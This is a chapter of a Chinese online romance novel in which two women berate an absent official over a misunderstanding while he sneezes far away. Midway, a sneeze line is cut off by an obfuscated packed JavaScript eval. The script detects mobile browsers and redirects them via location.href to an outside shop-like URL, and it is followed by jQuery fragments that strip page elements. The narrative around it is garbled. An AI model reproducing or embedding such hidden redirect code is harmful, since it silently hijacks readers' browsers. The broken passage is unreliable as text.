第420章 我瞎了眼

作品:《嫡姐人淡如菊?我改嫁她相公!

    沈枝意躺了约莫半个时辰,身上渐渐发了汗,那股刺骨的寒意总算褪去大半。


    她试着动了动腿,膝盖处传来一阵钝痛,但好歹能屈能伸了。


    躺不住。


    她掀开被子,扶着床沿慢慢站起来,趿上鞋子,一步一步挪到门边。


    推开门的刹那,潮湿清冷的空气扑面而来。


    院里的泥地还湿着,墙角几株野草被雨打得东倒西歪,天色将暗未暗,泛着灰蒙蒙的光。


    “二姑娘!”


    云锦像只受惊的小雀,从廊下噌地站起来,三步并作两步冲到她面前。


    “你怎么起来了?你快回去躺着!这才多大一会儿,怎么就下床了?”


    云锦一把扶住她的胳膊,眼睛上上下下打量,不放过任何一个细节。


    脸色比刚才好一些了,没那么苍白,嘴唇也有了点血色。


    可还是不放心。


    “膝盖呢?膝盖疼不疼?”


    云锦说着就要蹲下去掀她的裙摆。


    沈枝意连忙拉住她。


    “行了行了,别大惊小怪的。”


    她笑了笑,语气轻松。


    “我没那么娇气,在沈家的时候我还不是常罚跪?”


    云锦听了更心疼。


    “哪有曾经吃了苦,如今还习惯了的?”


    云锦扶着她在廊下坐下,小心翼翼地掀起裙摆一角。


    膝盖露出来——


    红肿得厉害,青紫一片,像磕碰过的烂桃子。


    云锦的眼眶一下子就红了。


    “这还叫没事?”


    她抬起头,眼泪汪汪地看着沈枝意。


    “二姑娘,你走路疼不疼?要不我背你回去?”


    沈枝意被她这副如临大敌的模样逗笑了。


    “背我?你跪了那么久,自己腿不疼?”


    云锦摇头。


    “我不疼,我皮实。”


    沈枝意看着她,眼底的笑意淡了下去,浮上几分柔软的心疼。


    这丫头,从小就这样。


    明明自己也是淋了雨跪了半夜的人,一觉醒来全忘了,满心满眼只惦记着她这个主子。


    “云锦。”


    沈枝意握住她的手。


    “我真的没事。”


    云锦吸了吸鼻子,挨着她坐下。


    沉默了一会儿,她忽然小声嘟囔:


    “二姑娘,我以前总觉得,你这回找着了好人家,小阁老那样的人物,往后会为你遮风挡雨……”


    她顿了顿,声音闷闷的。


    “谁知道这风雨都是他带来的!你还没进门呢,他就先带了个女人回来!”


    沈枝意愣了一下。


    云锦越说越来气。


    “他带回来就带回来吧,哪个男人不三妻四妾?可那女人是什么东西?一个外室,连名分都没有,就敢在府里作威作福?”


    “她凭什么呀?她是正妻吗?她是老夫人吗?她什么都不是!就仗着男人宠她,就敢让你在大雨中跪着?”


    “还有小阁老!他那么大的人了,管不住自己的女人吗?让那个狐狸精在家里横行霸道,他倒好,跑出去躲清静了!”


    “男人没一个好东西!”


    正在全力冒雨挖坟的随山打了几个大喷嚏,吸溜了两下鼻子:


    “嘶!今儿变得有点冷。”


    沈枝意听着云锦义愤填膺的控诉,嘴角微微抽了抽。


    她知道阿依慕是楚慕聿的亲娘。


    不是外室,不是狐狸精,是货真价实的未来亲婆婆。


    可这话不能说。


    阿依慕的身份重要,谁都不能说。


    她只能听着云锦把阿依慕骂成“外室”“狐狸精”,把楚慕聿骂成“宠妾灭妻的负心汉”。


    这误会,大了。


    可她能怎么办?


    她不想怎么办。


    对于未来婆婆加诸在自己身上的痛,这债,她不是得跟楚慕聿讨讨?


    “你说得对。”


    沈枝意点点头,一脸认真。


    “楚慕聿这个人,太不像话了。”


    云锦来了精神:“是吧?你也这么觉得?”


    沈枝意:“可不是嘛,自己跑出去办差,把咱们扔在府里,他带回来的那个女人怎么闹都不管。”


    云锦连连点头:“就是就是!他要是管好了那个女人,咱们今天能受这个罪?”


    沈枝意:“还有,那女人骂我的时候,他不在场,那女人打你的时候,他也不在场。要他在场有什么用?”


    云锦:“对对对!一点用都没有!”


    沈枝意:“我看他就是故意的,把我骗进府,让那个女人来收拾咱们,他自己躲清闲。”


    云锦:“太坏了!亏我以前还觉得他是个好人!”


    沈枝意:“好人?他能是什么好人?朝堂上那些人都叫他什么?活阎王,活阎王能是好人?”


    云锦:“那你还愿意嫁给他?”


    沈枝意顿了顿,一本正经地说:


    “我瞎了眼。”


    云锦噗嗤一声笑了出来,笑完又觉得不对,赶紧捂住嘴。


    “二姑娘,你别这么说自己,是他管不住女人,是他没眼光!”


    “什么女人都往家里带,这么大年纪还不成亲肯定有问题!”


    “阿嚏!”


    贡院值房内的楚慕聿打了个喷嚏。


    面前摊着一份邸报,看了半天,一个字也没看进去。


    揉了揉鼻子,继续看。


    “阿嚏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321884|181962||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”


    又是一个。


    站在一旁的随从连忙上前:“大人,可是着凉了?属下去煮碗姜汤?”


    楚慕聿摆了摆手。


    “不必。”


    他站起身,走到窗边,推开一条缝。


    冷风夹着雨丝扑面而来,带着春天的凉意。


    他看着窗外的雨,忽然有些恍惚。


    今年的春雨,怎么这么冷?


    往年也不是没在贡院待过,那时候也没觉得难熬。


    难道是老了?


    他抬手摸了摸自己的脸。


    二十八,正当盛年,怎么就老了?


    窗外的雨声淅淅沥沥,不知怎的,他忽然想起沈枝意。


    那丫头怕冷。


    去年认识她时,冬天就把自己裹得像团子,也不知道今天天气突变,她及时添衣没有。


    还有阿依慕。


    他把阿依慕安置在府里,也不知她们处得怎么样。


    那丫头性子冲,不会起冲突吧?


    娘亲虽然脾气古怪,不知道会不会为难一个小辈。


    他心里盘算着,等科考结束,回去第一件事就是问问她们相处得如何。


    要是有什么不痛快,趁早重新置办一个宅院,把阿依慕挪出去,省得那丫头受委屈。


    想到这里,他忽然又打了个喷嚏。


    “阿嚏——”


    这回连着打了三个。


    随从实在忍不住了,上前劝道:“大人,你还是喝碗姜汤吧?这雨夜寒凉,仔细身子。”


    楚慕聿摆摆手,关上窗,坐回案后。


    他拿起笔,想批几份公文,却发现墨水都凝住了。


    真是老了。


    他叹了口气,放下笔,靠在椅背上闭目养神。


    脑子里乱糟糟的,一会儿是沈枝意的脸,一会儿是阿依慕的脸,一会儿又是沈知南的脸上可疑的皲裂——


    他睁开眼,揉了揉眉心。


    三天。


    还有三天。


    窗外雨势渐渐收了。


    **的是,此刻二十里外的田家村农庄里,有两个人正把他骂得狗血淋头。


    罪名是“管不住带回来的女人”。


    他更不知道的是,他心心念念怕受委屈的那丫头,刚刚骂完他,正身心舒畅。


    末了,云锦叹了口气。


    “算了,骂也骂了,气也出了,你回去再躺会儿吧?我去给你弄点吃的。”


    沈枝意点点头,由着她扶着站起来。


    站起身的瞬间,她忽然顿住。


    “对了。”她看向云锦,“随山呢?”


    作为楚慕聿忠心耿耿的跟班,她们骂了他家主子这么久,他居然没出现。


    太不合理了。